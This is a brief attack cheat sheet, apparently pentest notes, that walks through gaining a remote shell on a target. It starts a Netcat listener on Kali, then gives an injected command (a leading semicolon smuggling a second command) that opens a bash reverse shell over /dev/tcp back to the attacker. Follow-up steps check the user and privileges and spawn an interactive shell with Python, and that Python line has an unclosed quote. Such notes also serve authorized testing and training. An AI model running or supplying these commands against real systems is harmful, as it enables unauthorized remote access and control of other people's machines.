Setup a listener on Kali using Netcat

nc -nlvp 4444

Use the following to connect back to the listener from the target:

; bash -i>&/dev/tcp/LOCALIP/4444 0>&1

Use the following to find out your user and privileges:

whoami
id

To create a more interactive shell from the netcat shell try:

python -c 'import pty;pty.spawn("/bin/sh")